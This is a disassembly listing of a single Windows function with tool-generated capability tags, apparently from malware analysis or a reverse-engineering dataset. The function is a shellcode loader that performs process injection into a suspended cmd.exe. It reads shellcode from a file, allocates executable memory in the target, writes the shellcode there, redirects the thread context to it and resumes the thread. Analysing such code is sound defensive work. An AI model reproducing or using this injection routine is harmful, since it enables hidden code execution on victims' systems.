Function at 0x1800012d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
mov dword [rbp - 0x80], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0x100]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x130], 0x10000b
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x10]
call fcn.180002330
nop
cmp qword [rbp + 0x80], 0
jne 0x180001373
lea rdx, str.Failed_to_open_shellcode_file.
jmp 0x1800013c4
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rdi, qword [rax + 8]
add rdi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
test rdi, rdi
jg 0x1800013a6
lea rdx, str.Shellcode_file_is_empty.
jmp 0x1800013c4
lea rdx, [0x1800043e0]
mov rcx, rdi
call fcn.180002d40
mov rbx, rax
test rax, rax
jne 0x1800013e5
lea rdx, str.Failed_to_allocate_memory_for_shellcode.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1800027e0
mov rcx, rax
lea rdx, [0x1800029c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000157d
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x180001412
lea rdx, str.Failed_to_read_shellcode_from_file.
jmp 0x18000145f
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180001488
lea rdx, str.Failed_to_create_target_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1800027e0
mov rcx, rax
lea rdx, [0x1800029c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call fcn.180002cd0
jmp 0x18000157d
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1800014b7
lea rdx, str.Failed_to_allocate_memory_in_target_process.
jmp 0x180001520
mov qword [rsp + 0x20], r14
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800014dd
lea rdx, str.Failed_to_write_to_process_memory.
jmp 0x180001520
lea rdx, [rbp + 0x100]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1800014fc
lea rdx, str.Failed_to_get_thread_context.
jmp 0x180001520
mov qword [rbp + 0x1f8], rsi
lea rdx, [rbp + 0x100]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180001553
lea rdx, str.Failed_to_set_thread_context.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1800027e0
mov rcx, rax
lea rdx, [0x1800029c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call fcn.180002cd0
jmp 0x18000157d
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call fcn.180002cd0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp]
call fcn.180002250
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.180002cb0
lea r11, [rsp + 0x6e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret